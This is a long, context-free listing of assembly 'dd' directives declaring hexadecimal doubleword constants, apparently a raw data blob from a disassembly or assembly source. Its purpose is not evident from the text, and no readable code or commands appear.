dd 18079272h, 43BE9730h, 0E7306427h, 0BBE0C6h, 9DFED4C4h
dd 3D637B38h, 0C84FA000h, 67AF5443h, 0D78700A5h, 0B88AB207h
dd 0DE00388Fh, 0EE31599Ch, 70B47Eh, 5A14B74h, 0FAA403C4h
dd 0C09ABC01h, 441E2F3Eh, 592DF0h, 90AA23ECh, 0FA974E74h
dd 0D09B4A00h, 3E54DDDEh, 0CA5B00E4h, 85D878E0h, 0BA01A53Bh
dd 2EED3C01h, 22F403EEh, 509F0389h, 0EF82E5F1h, 13D038DBh
dd 8E00EA23h, 2645D8BAh, 4E3211h, 3A91466Eh, 65FC259Ch
dd 0CE24C5EAh, 820068FFh, 0D28C152Eh, 18E20045h, 93D13819h
dd 2300BDE6h, 6B547D9Eh, 6F805Ch, 61D60B4Ch, 1A03A718h
dd 0AFFF9C00h, 959F7166h, 0CB2600BCh, 77879EECh, 8CF620CCh
dd 18003A75h, 5E3FE48Dh, 3DB7C4AFh, 5087A72Eh, 2032D578h
dd 0A2BB3B7Bh, 4FF9B92Eh, 0D8341D00h, 124D4769h, 4023094Bh
dd 0D480E6CCh, 7B000467h, 20C8947Eh, 70C72B5h, 292C75A3h
dd 0A116C0A4h, 0D8E69258h, 1C6D1003h, 74DDC948h, 678604A0h
dd 0C0D79E89h, 3F19B89Ch, 39E44C00h, 9F13F758h, 99F057h
dd 553648EBh, 0ED0250B1h, 0D3D13200h, 55DC122h, 4FBE0F79h
dd 3EC05456h, 9811A038h, 0A7534B00h, 5E619D47h, 95EE0078h
dd 21CEF4Dh, 0AC0E65F4h, 475F37A4h, 0FEC06BFCh, 0BACD0Eh
dd 2E95F6F1h, 0B4B5F57Bh, 76038473h, 26CEE530h, 204E0056h
dd 2CC67036h, 0B49EA54h, 0CD0F0070h, 0A3F0E6F8h, 887E0183h
dd 118E078Ch, 1802D8CCh, 0E91EC607h, 0B5A042E8h, 7AA430h
dd 0E5505FF5h, 0A3A68CC9h, 0CE2A8900h, 332FB2C4h, 0A4E1E8Ah
dd 0B7EA8AA8h, 0C230ABCh, 53250038h, 9B6BF0E1h, 4995B600h
dd 69756643h, 42BB1CE4h, 31D2437Bh, 2F3F99Ah, 0C53E46C8h
dd 0C38FCAC0h, 7D2C440h, 0A8C0B3B2h, 9452E130h, 33E8F4C9h
dd 575AAE00h, 4F8CB57Ah, 5BD400E9h, 0FA31A3AFh, 47E68FC6h
dd 66B0DCA8h, 2DCCC400h, 0F606B31Ah, 46C700AAh, 0FFDB30D6h
dd 0F00EADC3h, 0ABC92Bh, 3180B483h, 12A2E80Dh, 0C053EAh
dd 0CB42D534h, 88005BFEh, 700DEB6Dh, 30D3EA45h, 8186C51h
dd 14135228h, 980FE7AFh, 32C61E87h, 884140h, 54AD676Ah
dd 7B909216h, 86C3AA06h, 0A91770h, 7EF7E211h, 280930Dh
dd 594A4500h, 34C7CCAFh, 762B00CDh, 0ADF53E08h, 9309E670h
dd 3569BBh, 8853C616h, 32780026h, 1202CF92h, 2C007F4Fh
dd 0CA98C835h, 18D04D66h, 4041FFFEh, 0F500166Ch, 0C0386080h
dd 7B4EF8C2h, 0E28098A9h, 1E5200AEh, 2EF0B76Eh, 9002C38Eh
dd 12AFBA76h, 0CEBCE0FAh, 111B0091h, 56A917F3h, 3A054FF7h
dd 6BD204F9h, 1F02901Dh, 40D9D74Dh, 117E50h, 1DCCEF87h
dd 0A4C7EC05h, 21C4F9CFh, 0C82CCBF9h, 7680F571h, 0F60C0F8Ch
dd 0AB60E224h, 87BF58B0h, 84715C4Dh, 0B7553507h, 0C64EC07Eh
dd 0E126F8DCh, 0EE001437h, 6CC19F63h, 0F98F033Dh, 0D292CFC5h
dd 0A66DEF90h, 31009890h, 6B5264C1h, 0A04A56h, 6F2E5898h
dd 0D88B221Fh, 0F6E4300h, 0C25CE2CEh, 0F0B22Ah, 7C0989DDh
dd 0EE764F9Dh, 0CC50BDEAh, 31004BECh, 7DFD67B5h, 469E0Dh
dd 7E15E4D2h, 0C83FBA69h, 0F55DAC03h, 0F8750739h, 6E592AEh
dd 7AAD9B67h, 3A4C612Fh, 3A2526DAh, 36351500h, 13813B8Eh
dd 1663F71h, 0F81EAF2Dh, 69C5259h, 0ADE20820h, 20C92EFh
dd 0BA13BB4Bh, 56C09254h, 0E21D4223h, 48308BA3h, 358731h
dd 759BCD24h, 7672C167h, 0F32F5FEAh, 0ECD450A6h, 6CC700AFh
dd 864AFEB5h, 961C97B8h, 43C646A1h, 0F4D906h, 485ADF72h
dd 3BB041Eh, 52A19500h, 60BDAE77h, 0B6573970h, 734B5A00h
dd 0F6ACF1D7h, 0ECBE3300h, 55C078FEh, 0B4341E47h, 8C398023h
dd 0F1016482h, 7D9191Ch, 8A7F040h, 0CECE721h, 7EE0496Bh
dd 0D60389F6h, 281A90B7h, 3D300B29h, 0F18EDE20h, 7BEF7E01h
dd 0E87FF82Eh, 16276300h, 840B2B5Bh, 0F12F0054h, 1EE669B1h
dd 0EB0044BBh, 52A5935Ch, 15733Ah, 0F2FF619Fh, 8F895D2Bh
dd 3B04ED4Ch, 91948CF0h, 49118Ch, 0A7A467F6h, 48D1E3BAh
dd 2D0030E0h, 0E062F2D4h, 28EF4AE8h, 88A2E9h, 1DFFFC32h
dd 56738928h, 60F5EB00h, 978F6AAFh, 2B61013Eh, 79338E70h
dd 11B8E799h, 86123C1Eh, 10070FFCh, 40E2A787h, 0AC19E1B8h
dd 0A5963080h, 0D443593Bh, 0E90A4F00h, 5DE275FCh, 5A2D0704h
dd 0B01A36C0h, 41DBB47Ch, 11AF54Ch, 0B618AA99h, 5860962Ah
dd 0DCE40EA9h, 0E587C547h, 832DF4F4h, 0C4A08D84h, 770F2AF6h
dd 404F0508h, 0E86318D8h, 785101E3h, 20605E69h, 0A02288h
dd 91638B43h, 0F72ACFh, 8381B452h, 51973DB9h, 8311B13Fh
dd 8DC558F0h, 0C433E0BCh, 5F781340h, 0A38C0F6Ch, 0FC50DCC3h
dd 24B5C7A8h, 5D03D096h, 0E0F6E861h, 49260763h, 5248C07Ah
dd 0A3D10B78h, 0FC207F7Bh, 3AA90998h, 0AA2428F6h, 8E008415h
dd 665BC862h, 472101C1h, 8F3360B1h, 833060ECh, 2609AE90h
dd 6051BF07h, 49CB8h, 76449B6Dh, 66C47A20h, 87F6E602h
dd 6181343Fh, 8E406AD4h, 0FA44B68h, 2E9740BAh, 939C5020h
dd 91C0667Fh, 55A90BDEh, 0B17E098Bh, 0BCE04534h, 20704BECh
dd 1C8AAD00h, 94B49A1Eh, 6BBD126Fh, 2EE400F2h, 60730D7Fh
dd 356E6200h, 0E8E2E04Ah, 60B09680h, 5B193140h, 0E50B7300h
dd 3CFA0569h, 1E6EF8BFh, 16676CDh, 0F06DA39Eh, 78BED429h
dd 8FBAE209h, 12A4806Bh, 987C4EF7h, 6F0B1828h, 9FB9A160h
dd 0B668A100h, 363CE4EDh, 42320746h, 0F003ECC6h, 1E238A87h
dd 86FED139h, 0D9A6CFE6h, 9DC31211h, 21D10124h, 80B49BCAh
dd 1F9F4F19h, 71007C2h, 0E2607643h, 3B535051h, 0C603C3DBh
dd 49E1A48Dh, 5C209F03h, 0CF572h, 0FAF05595h, 5194C94Dh
dd 1B801000h, 1AA2318Eh, 907401C5h, 0CD0916B1h, 5D84C473h
dd 0B45F8A00h, 7DEEF8C3h, 23B20FE8h, 17479368h, 5237008Eh
dd 0B805C33Dh, 0A763F178h, 0C23060D0h, 4AC89A41h, 0D9E80266h
dd 8CA17F19h, 60D43B33h, 4378BBC3h, 76C07D00h, 25480392h
dd 388838C5h, 9B741389h, 0FBC69301h, 4B7DC8A3h, 65031A1Ch
dd 3ADE9Ch, 43DF6FFFh, 13F98C2h, 36E0EE20h, 0D814DD19h
dd 0E6000D03h, 3B730737h, 12C9BC91h, 93650Fh, 131D2C2Ch
dd 420E63A4h, 0E385FA21h, 0C0908114h, 0FC5CFBh, 78EADD1Eh
dd 0EB29B973h, 1438BCB0h, 0BEBE28h, 5B23FB4h, 1675D55h
dd 0A973AABFh, 0C5D69688h, 9BC20F3h, 11006472h, 0F20EC394h
dd 731D9FA0h, 0C12F0FACh, 6687E1D7h, 0E4EA105Dh, 0F0B83FB7h
dd 32F49D00h, 0B4878B54h
dd 7830F570h, 0FF6F0065h, 1CB04378h, 0E9005399h, 6D147B05h
dd 0F069FAE7h, 0B6EC54h, 8A4BE47Ah, 0A5647EA9h, 5303F698h
dd 0A103595h, 0B3AB898h, 17030023h, 455EC588h, 0F80591A2h
dd 0B535EBC7h, 933CF080h, 0F3510163h, 0D52943AAh, 0C17EE0E3h
dd 4855D203h, 0D36CEECBh, 0BC28E0C8h, 42BE0E9Bh, 33A0D8EAh
dd 626FA4B9h, 0CC05940Eh, 0E6D1C2D6h, 0C690818Fh, 42CE365h
dd 0EECA5B00h, 0BEB363C5h, 0A8063301h, 7BD32636h, 7A160h
dd 628077D9h, 47678909h, 9B467C00h, 9CFB7021h, 405C0B06h
dd 1B000F39h, 675AA5A0h, 0E7E61C00h, 7DD3AC44h, 0F111E9Dh
dd 85DC873Dh, 3B87800Bh, 0B3005A6Fh, 0FC157088h, 0EEB1DAB7h
dd 58310081h, 1C1990DBh, 0C50017C3h, 82294B8Ah, 1DADBBh
dd 4341272Ch, 685C0C88h, 38DF6201h, 467720A8h, 9DFAE4h
dd 9984A510h, 0AFC14BBCh, 0C9BD4E00h, 0AE78BF7h, 0E4B61C44h
dd 488A40F1h, 0A029033Bh, 0CB5B9700h, 0D6783746h, 0C8E0A08h
dd 3F4791Dh, 7E0796FCh, 985B50D0h, 0E10BA51Eh, 0E827D4A8h
dd 47EC8F51h, 8CC72B85h, 0C0AC42C3h, 0B8B70D8Fh, 0B4473B3Ch
dd 7445B9Eh, 5F34812Fh, 18278E0h, 61008640h, 0AE885E1h
dd 0A090BD3Dh, 44B5D2D4h, 5E01393Fh, 3F410C8h, 0D820CE33h
dd 0F57E27Fh, 0B6F14609h, 60B0848Ah, 1E0593AEh, 965BD2C0h
dd 758074A0h, 0F5CE0120h, 24F8DB3Ah, 0A7A2E47Dh, 43C80200h
dd 44A94F0Fh, 4280964Ch, 1B004D15h, 9A80Bh, 46268BD8h
dd 3C789DC4h, 7A51900h, 22E4B047h, 1EE503E1h, 73F995E9h
dd 0C6247AF0h, 0F0708F17h, 3F0AF840h, 2AE54Fh, 0CC133559h
dd 31EC4C4Bh, 6A862000h, 6460A690h, 7FABFC5Fh, 7F9100F3h
dd 9D468FDCh, 0BC1C1CEFh, 7400E9CFh, 0A97C0F7h, 47B1004Eh
dd 19B03D56h, 9000F160h, 91728D10h, 7574F38h, 0CC76480Bh
dd 948E61B8h, 1E807E29h, 1E69434Ch, 752BD5h, 54C2DB9Eh
dd 0ED0009FBh, 72F74EC9h, 9B28FEh, 0AEC31D86h, 0A42657ACh
dd 5137B300h, 0BF54FC1Ch, 302F1C7Fh, 759E001Dh, 6FE1C443h
dd 6276DB7Bh, 4810B209h, 7F74C165h, 12AC864h, 0C3F11483h
dd 207CBE09h, 2C037794h, 6653BD06h, 53788A5h, 0E0E20117h
dd 93C40882h, 9E9EE5C7h, 72CFCC48h, 40E26581h, 73F3C400h
dd 0F5F0EEh, 0FE9B7C1Ah, 0D058553Ch, 18934B26h, 0C2BB2C0Bh
dd 1F4360C8h, 3E280012h, 219F86FFh, 3C9091F7h, 2037362Fh
dd 84D45D2Ch, 29230146h, 2C2EDF07h, 0F0C8E62Fh, 0B2005EB8h
dd 1F02F82Dh, 7F51549h, 0D02A4166h, 422010B0h, 0A90F4B8Dh
dd 0E47E08D9h, 60B009D8h, 1CB80Bh, 0FB584F03h, 677A5C45h
dd 9E51EF09h, 397005D7h, 0B8CA00FFh, 0AA49C11Dh, 82382709h
dd 0D5D80048h, 350F167h, 0FD013123h, 7E887C8Ch, 6D009944h
dd 0F79327F2h, 25A46E3h, 3387E66Ah, 78707A7Bh, 80D0413Dh
dd 5B1B44Ah, 3136254Bh, 2248F357h, 1FACF032h, 93B76414h
dd 1B0171D6h, 5A6A9AB0h, 0D6D81059h, 91E7ED5h, 0C2AD1728h
dd 0E1508801h, 0D6B700A2h, 74430076h, 1826C332h, 0E7E87C9Dh
dd 8DA9BC1Fh, 0C9D3BA80h, 1AD5B84h, 0DFBE4C5h, 0F79485B2h
dd 0C4596EC0h, 53CA848h, 4D96A99Ah, 0B29B20C0h, 0BEE70F8Ah
dd 1C20191Ah, 27D09857h, 0D55A3700h, 0B57EB88Fh, 974B0774h
dd 0A42CAB1Fh, 83B3C09Ch, 7900C32Dh, 7F3B009h, 0A0228525h
dd 56BA5E4h, 0C8C5FAAFh, 80518419h, 964359D8h, 0DE3C3800h
dd 6585023h, 0EABD0711h, 4019EDF0h, 0C8F62D9Fh, 0D200577Bh
dd 0F5A121B0h, 4A13EEh, 0AEB5935Ah, 0CEC39B47h, 0F202673Ch
dd 0B828C09h, 6E130FCCh, 1736CED8h, 8F1AB400h, 23C8E6h
dd 31DC6D6h, 0F53A7478h, 6F001E7Bh, 84EBD47Fh, 0F2AD236h
dd 485FB146h, 6BEC00B2h, 401058F2h, 2D076677h, 1179FDA0h
dd 1A92002Fh, 3EAE9862h, 0A200F12Bh, 6C9A52FFh, 99002C37h
dd 0A343DC87h, 22EF065h, 702688C2h, 0D4009891h, 12892C7Ch
dd 0B12B9A36h, 0B6F3CC38h, 0F98BF400h, 71083DE8h, 0F84F0E7h
dd 0C6D2469Bh, 3F0F26E0h, 7B30B989h, 0B51E38E9h, 64241D4Ch
dd 731E6A7h, 80A63391h, 0D4772674h, 4984DE0h, 79A94817h
dd 38C3BC40h, 77FB34Ah, 6ECDEC68h, 0A567E0EDh, 0A177F77Dh
dd 0EE224C00h, 0CDF2D226h, 0CA650546h, 0C17290A7h, 0D43CA5D4h
dd 0A42C5C78h, 0CC00F8E1h, 0AD6A8B64h, 532100A3h, 0D975B84Fh
dd 0DC009B2Bh, 6D84871Ch, 5D46266h, 14449131h, 0A7857Ah
dd 2EC480DCh, 0F70F58B0h, 0E039860Ch, 0F684BD20h, 8F880316h
dd 0ADB20942h, 0E0CCE5E1h, 0BF0008EAh, 0CDE1C7FDh, 0F815F838h
dd 62D80299h, 0A412857Bh, 236A3C60h, 0E020FA4Ah, 3F99C8AFh
dd 8401F8B0h, 0B787B0Eh, 0DC8040A6h, 5000B716h, 0F1949275h
dd 5BB54Bh, 0E94FA9AFh, 7CFE79D2h, 0C1118A60h, 2522838h
dd 0DD9E9F24h, 827DEA46h, 40726970h, 3E1DA420h, 3FBCC623h
dd 44895DA7h, 58F7C500h, 0F90F2FE5h, 80D1F0E6h, 79342841h
dd 81520ED9h, 462098A6h, 99F3661Fh, 9487C328h, 32B33800h
dd 3A9A6430h, 0DD9B0003h, 7A404136h, 0D094A70Ch, 80007F13h
dd 376D3313h, 0A91C1C8Fh, 0BF424773h, 0CF01C2B3h, 0AF00E858h
dd 0F8D1E1EAh, 88184Ch, 623D673Fh, 0D566432Bh, 0EB3961F0h
dd 0CF2D0108h, 9470DC47h, 3C8D434h, 0F867222Eh, 7800FC0Fh
dd 717F14D5h, 7150C947h, 44FF0089h, 8C3EF5C8h, 0BAFE1227h
dd 33041400h, 0E034B883h, 0B09B0A8h, 1A477C41h, 37665401h
dd 0FCE105Fh, 5B9D0131h, 3C3F51Dh, 0EB96402Eh, 9505A667h
dd 0BB26057Fh, 0AED8B4h, 0C35B0E91h, 13D9A498h, 828760Fh
dd 5A70C39Ch, 1E49719Bh, 0C0148EEEh, 924B1C4Ch, 0B10F02FCh
dd 1DAC7616h, 0BF617140h, 7FB5DBA3h, 27FD0029h, 4878D19Dh
dd 8D12994Fh, 0F40338CBh, 90ACEDE5h, 1F0ABC47h, 40A571F4h
dd 0C4B5760Bh, 2F0037CEh, 4BAFB722h, 5C5C6A84h, 1F78032Ah
dd 817C4A42h, 3DB9C70Ch, 0A083476Fh, 94BBE35Bh, 0E6095DECh
dd 1972A50h, 0BD7B180Ch, 0A0C8E4FCh, 4C3B4CE4h, 0A52472DBh
dd 0C26200C4h, 43A38E73h, 24CC2926h, 0FE515F06h, 9881B041h
dd 4830C4D1h, 903C8101h, 0BB82F40Ch, 0BF765300h, 42C4C98Bh
dd 193A001Ah, 547A58E8h, 551385F7h, 5B00D844h, 682B797Fh
dd 0BDB73B6Ah, 54D60381h, 0F918C924h, 3360800Dh, 9D20EA3Bh
dd 63D00F8h, 2ED8D3D9h, 680317D2h, 0CEF7902Fh, 36390065h
dd 0B1550F69h, 0AA12376Fh, 18901F3Bh, 170EBD2h, 0FC0895DEh
dd 3066F30Ah, 50B8E68h, 39A9CCh, 0CEC5334Eh, 0A6D813B1h
dd 0AE40030Dh, 27E0378Dh, 21C3BD07h, 0C82025B9h, 9C4DE94h
dd 0F2D921D1h, 9BFDC82h, 87084878h, 8036ABB4h, 33B140E9h
dd 0F648BE59h, 0EC670C7Ch, 312422h, 0FFFE8996h, 8C5223A8h
dd 9115400h, 0B8F2DCE8h, 0B31F2E6Ah, 5FB989CCh, 3C5800A0h
dd 9F03097Fh, 19598F94h, 9D180050h, 0B8C5D708h, 760EBFE3h
dd 0C0C33D21h, 0C8759B68h, 43212C6h, 848E01A7h, 3C6FB5EDh
dd 0FB8612F8h, 0D1D10482h, 2C7A091Ch, 0A70708A1h, 0E844C680h
dd 90B16527h, 189EFAE0h, 0A1F5A6A8h, 0B00558Fh, 0A95A10F2h
dd 151FE0h, 877EB19Ch, 3F597F1Bh, 0CD00BC94h, 47CA73F7h
dd 0E19000E7h, 1F0E1115h, 9F59E59Eh, 9778006Ch, 1CB81953h
dd 0E69B0088h, 0C2894946h, 0BD008F6Fh, 3AA32DADh, 79E7B085h
dd 671200E2h, 0EFA21B20h
dd 2D25B7DCh, 0D5F8C873h, 0AE7403FCh, 332B76C1h, 3472A291h
dd 42034B48h, 0B0ACF68Eh, 0A8DF9074h, 0FE730E2Fh, 0F961BBD4h
dd 0E0D6F86Ah, 0AE0057E2h, 0E9BAE387h, 0ED480h, 0F824FBE1h
dd 0CA118DEBh, 61FE4C01h, 0C2839760h, 6F4BE8h, 0F6DDAA81h
dd 0D235B25Dh, 0BB59E70Eh, 0E33EE36Ah, 0B0F1D0F0h, 75880F05h
dd 0F20051A8h, 0C0BA9F1Ch, 0DDF36E12h, 176A50E0h, 3967914h
dd 5FF8CCD8h, 4032ADB1h, 4649C98h, 6D8EA30Bh, 66200BABh
dd 32FC3F7Ch, 66039D3Ah, 0AF0B9CC6h, 92AB7AC0h, 0F22BAC1Ch
dd 0D042AE84h, 0F00FF885h, 0C0B98E31h, 2A08EC15h, 3C849024h
dd 649C87E4h, 0CDA280B6h, 60B9E91Eh, 0D684BCA0h, 690B12F4h
dd 0D8C89392h, 775907AEh, 10377673h, 0EC22F411h, 71E5100h
dd 98561D71h, 0C6E007EBh, 502A1CABh, 6C781B46h, 0B226A500h
dd 0A206E602h, 0EA400024h, 6B993B0Bh, 3300ED59h, 0F3B36611h
dd 0A7345Fh, 8B61D837h, 0C2C8803h, 0C245A31Fh, 7A507700h
dd 10DAE6h, 8CDBE341h, 8296180Fh, 2B7E9D01h, 39490AE1h
dd 1C4E7F30h, 0BE998967h, 55F28F00h, 1AFCA510h, 0FA12C6FCh
dd 0E2019EE5h, 0B204544Bh, 7F1ACC8h, 16070989h, 0D03EA055h
dd 9D0364B4h, 0C630D7BEh, 0B687D0D9h, 0FA450E10h, 0BD00FD77h
dd 307338Eh, 59A70F30h, 0C6EC930h, 357729C2h, 0D10F6248h
dd 20E410AEh, 0B4F8BBA2h, 0A6E2001Bh, 0DA58DB2Fh, 600A46Dh
dd 7F73709Ah, 23AEF11h, 2D8F0732h, 95601E65h, 380F6A2Bh
dd 0BED516h, 0AD944EDBh, 1C9C0EACh, 85A05446h, 0A6C59888h
dd 8C6AC90Eh, 4E260079h, 206EF9h, 0A9834CB1h, 574A7F5Dh
dd 68B0B376h, 3DA12A39h, 57D0070h, 1D948D1Bh, 0CA020071h
dd 0A80E4C5h, 69009D87h, 8843EAC3h, 197CFAFh, 3E7F3D0Eh
dd 50327C04h, 4B120D84h, 0BC5B3B28h, 0AE2C6500h, 43A4504Fh
dd 88235451h, 10D900D2h, 0A1777E57h, 0E701FFBCh, 6F7558F0h
dd 0B260F649h, 0EC98009Fh, 0AF6A22F2h, 0BF00B6D0h, 62AD97ABh
dd 84FCF5h, 993DDF2Bh, 59572483h, 0B6F08703h, 0B0C19B18h
dd 0A74601Ah, 0A7096B3Bh, 1882097h, 53E21EF2h, 0D4E6BF54h
dd 0C7070E35h, 74BA7ECCh, 63958CB0h, 0FEF503FDh, 48313AB7h
dd 8E0CBC00h, 0A6CFC2C3h, 0FF400086h, 4CD9B814h, 0E0059B1h
dd 0FED2CB7Bh, 0B8F2C34Eh, 0CA8F2E49h, 785718E0h, 0F80098A0h
dd 1661B932h, 1D78050Fh, 408D2414h, 0ECC52183h, 98B070B8h
dd 0EA9A4A1Dh, 0DCE24500h, 3A24D19h, 84522CC0h, 0A5A8741Fh
dd 0A10002F7h, 32A78629h, 0D74DF6h, 0A4BD65D4h, 0F3C5C9A2h
dd 6389CF00h, 66DA0F9Eh, 0AB4F24DBh, 8EE19054h, 77160D2h
dd 90BA8Ch, 0A43ABCC7h, 3FDEE4B0h, 450B4600h, 59FB4EA9h
dd 6EB50711h, 207ACA54h, 14EC44E3h, 0E4A78D03h, 0C828536Fh
dd 7024CBCh, 8E69CB47h, 0E6860097h, 3800C5F0h, 4F4A5227h
dd 0FA05CADh, 947B90D9h, 5DE48EBEh, 0F31699C0h, 2401DFBFh
dd 0A5FF0273h, 0C03FE8ACh, 7A17FEF2h, 0A8489228h, 0EE7700Fh
dd 0ECF0E020h, 12B1A991h, 0F5BADFh, 94FFF302h, 3D7EB888h
dd 5F1AA40Fh, 0EC0B00DDh, 0FC1D89D1h, 0FE8D30DEh, 45CA2258h
dd 8B99D400h, 2092ACCEh, 0FD0FE77h, 22F6C967h, 6CB1DC21h
dd 89E1E07Bh, 3FC8B612h, 0F4A92420h, 80AB486Eh, 0F5348E00h
dd 24CDB0B9h, 9B7BC400h, 2A5C104h, 6E2F0122h, 3ECE2C9Fh
dd 905C208Eh, 0C53AE91Ch, 0B9C71780h, 0FCBD4Eh, 99F9DD15h
dd 0AD5F2B28h, 782490ECh, 0AE306054h, 260EA8E8h, 81287307h
dd 0D7FC9036h, 86B9CBEAh, 2AB4244Eh, 340BF824h, 67230E00h
dd 24266360h, 0CB4Dh, 7A059FD1h, 0D00056B2h, 0C5CD4411h
dd 59A05Dh, 2C4CF2D2h, 0AB77F738h, 41405658h, 4044C4FCh
dd 552A600h, 0BD22D4DEh, 0FEF07486h, 5E9A0063h, 1844C3C5h
dd 0DA002CF4h, 5B4EBAE7h, 0F924834h, 0CC018815h, 8740C525h
dd 0D928E0B7h, 1D01CFDAh, 51FFBDA4h, 0FBE8D7D3h, 471700BBh
dd 0EE8C9577h, 0A1FA328Ah, 0FD04F97Fh, 4A71BEAh, 18EB6880h
dd 7A0B80EDh, 6A81071Dh, 0BC0152C7h, 0A1519B57h, 0A0408297h
dd 34F34Dh, 54EF53A3h, 300F3303h, 264DC3Ch, 579E152h, 0F916C026h
dd 0DF50796h, 905B24C1h, 278285E2h, 78A3B638h, 7FF8D700h
dd 0F0889B06h, 0AB3C0090h, 0A9039893h, 0EC007E2Eh, 0A06EDF50h
dd 39DAED6Ah, 0A10ACCCAh, 81D05609h, 72FA7182h, 8EC840FDh
dd 4F708108h, 0A000BC98h, 3F731C06h, 7834110Dh, 8A490077h
dd 0B19FC70Fh, 0CB008219h, 0EF32CF7Fh, 98F4C4h, 0B55D4007h
dd 702BE334h, 0FDDE6400h, 0BFEC19Ch, 40F90086h, 1B07B046h
dd 0E71696CAh, 1500127Ch, 3F4748F1h, 0AA9900BDh, 14C139D7h
dd 0E5023852h, 9BC69A1Dh, 79514031h, 894204CCh, 806781FCh
dd 2EC2B48h, 0B2090F72h, 0FA759A4h, 1C84F2Dh, 0C6A1472Ah
dd 58F1DD8h, 0EE045808h, 502AC7AAh, 0D718BA29h, 0DF9D5500h
dd 66BBC05h, 0B50A01CCh, 2E1EB1A4h, 3BD83329h, 0C7348133h
dd 7520241Bh, 0A0DF0h, 91C9C19Dh, 0CE112B1Ch, 9F581700h
dd 5D2F9445h, 0CAE6B6h, 3D993C31h, 8C83A385h, 0FF7738A0h
dd 0B5EDD800h, 6B48BB8Fh, 3B907DB7h, 70007568h, 0D2BFD1C9h
dd 0CC74D049h, 58247E00h, 0B8FA7319h, 0C4EB003Ah, 0CDFB1840h
dd 0F100A651h, 0DDD7CA0Ch, 2C7F4C1Fh, 16B03EB7h, 0F204414Fh
dd 2003F0F8h, 3B7BC6AAh, 0D6DA0200h, 48A1A331h, 0E5011362h
dd 9F405DD7h, 0EFB2C2BDh, 0F448EA8Bh, 0E100E307h, 1FC2A359h
dd 9FAD9E2h, 7A1328A8h, 0A10E10A1h, 0C0C0D2ADh, 980E462Bh
dd 8E458019h, 1D069633h, 121F6BCh, 47A1F27h, 0F8E1375Dh
dd 0C5102EF5h, 0FA0EF473h, 935E36BDh, 0DCFC59h, 2590F176h
dd 96F7D8h, 0A68AA8B3h, 0FB2F6AFAh, 0D1ADAA00h, 7576519Bh
dd 54711C98h, 14800C3h, 9352CA2Bh, 633BE93Fh, 0EC8FA8h
dd 6D35EE60h, 0F3EB4753h, 9744F0E1h, 0B1FDE300h, 0FFE6E2D0h
dd 6175075Bh, 0C924B9CEh, 7A20488Fh, 8D55A144h, 1CE2AD03h
dd 5DCA4Dh, 602CE618h, 2BAB76B6h, 0F1383E70h, 5F7F98FEh
dd 0FDA10920h, 2BF28040h, 2CCB016Bh, 0AB759B15h, 7AD5C4C7h
dd 0E9E15303h, 6AA013Ch, 0ACFEFD18h, 0EC2C408Fh, 1607F739h
dd 8F094CDh, 39F7074h, 0E78A99DEh, 2A09C5Eh, 40726DCEh
dd 0DD67ED03h, 30E025BAh, 0CE091B18h, 0E083C2B8h, 0B4EC155h
dd 0B0E83CBBh, 0E4A04580h, 0ED0FFA95h, 0E02E2A4Dh, 0CFFF99F3h
dd 41966031h, 0B1304752h, 0ED7F100Ch, 68258D2h, 6EFC709Ah
dd 64606928h, 0EBA06598h, 2418193Eh, 80BD6050h, 0A1E0AA71h
dd 395247h, 26CBBA32h, 4B200CD2h, 9ECD1500h, 89028377h
dd 13860075h, 49DD23B7h, 41008FA6h, 7EF32008h, 1C52A16h
dd 77395663h, 407D1DC4h, 0E28C7FDEh, 0D251C175h, 0C6041E7Ch
dd 14513931h, 8C6E32B8h, 0CF5B591Dh, 36C0833Eh, 31E82B1Bh
dd 6E5224Ch, 71548F47h, 87F4229h, 10D4194Eh, 5B63848Eh
dd 900C615Dh, 888A516Fh, 4100341Dh, 1F1895C0h, 0DA577Fh
dd 1CA25211h, 0E0AD59E9h, 0EA53B000h, 0DF1DCF9h, 24BA7AD9h
dd 1CBF399Ah, 773E7036h, 0A2075517h, 20033CF3h, 0CBC544E0h
dd 62FB0408h, 80BA60FFh, 199FB37Dh, 0A7E8C202h, 804F83D7h
dd 0F5DFCEC8h, 4D99006Bh, 0FA37716Fh, 0A2008091h, 0ACA62EE3h
dd 0F182DFh, 0F0FC2517h, 0EC9D3EB9h, 33BB418h, 1FCE7E20h
dd 0C0D126C1h
dd 658CF82Bh, 4201E210h, 0B8D6F352h, 0E8F0BC24h, 0BE6400B3h
dd 0DB9F84CBh, 1902B06Ch, 24B17E52h, 86CC80D7h, 3380826h
dd 57CBC299h, 0EBC88F73h, 7601B2D4h, 0CB15C17h, 2CC98C3h
dd 0E022501Eh, 94F10121h, 0C469C69Eh, 0E49FD05Fh, 8B037C00h
dd 5350E295h, 0C5DE05CEh, 1AC385h, 5B93686h, 1FEE9779h
dd 3321B100h, 5296E695h, 9FA100DCh, 94C82D2Fh, 3D0EBCE4h
dd 0B081EEh, 0F46C96F8h, 813F480Ch, 0A2941B00h, 3533AD6Dh
dd 0C349B800h, 9D548469h, 4E4B2ED2h, 38342872h, 0D05CD376h
dd 127411Fh, 0EFA21EFh, 5031E07Bh, 23000571h, 1F0C624Bh
dd 72D65F9h, 7212EC03h, 2E0E8084h, 0EF00FDC8h, 0FB8A5D16h
dd 0A2CEAD4h, 93FC9CBCh, 0C35C07F8h, 0ACA18FBDh, 0FC6C26E6h
dd 560B8D3Fh, 0AE952A3h, 8407FE2Bh, 40BEFD7Dh, 5133E16Bh
dd 1BDE00C5h, 0AC215370h, 0E31437E4h, 4E0B883h, 76AAF27Bh
dd 5E35ECC0h, 0B1280264h, 57A7F807h, 6DED7760h, 45004EEEh
dd 0E6A2DBFDh, 428CCCh, 0A87A1640h, 47C178E5h, 1DF24E0Fh
dd 0A4E017C4h, 0B8581D2Bh, 0AD790074h, 2FC7114Ah, 6267CF13h
dd 56360F00h, 0A9FB6Ch, 0F71937FAh, 13B9241Dh, 0CB2EC503h
dd 9759D5F4h, 5C7880F9h, 0E752A42h, 1AEC0CE4h, 73997740h
dd 0D60EEA9Eh, 0A9A3F535h, 0BB00809Bh, 0BFDDAFCh, 0DE56A085h
dd 0FEDB9901h, 0A864E0BEh, 1400F6B8h, 50F7D6A4h, 783CA190h
dd 5BCA03D3h, 35B372EEh, 0E85986E1h, 9500FD96h, 8BCB8A92h
dd 0C2568Eh, 64E7BE04h, 4E1C1724h, 83D14700h, 7E46A338h
dd 3DE6B5h, 142DC5DDh, 9F67ADE9h, 7D5D6E03h, 0C81D7C3Fh
dd 0E5B6EEh, 0FCC7AFDDh, 60BE898Fh, 4CEB8700h, 56E3D236h
dd 0BFB600CAh, 92A5629Eh, 0DB600E54h, 0F7BEC218h, 0EA32FEC4h
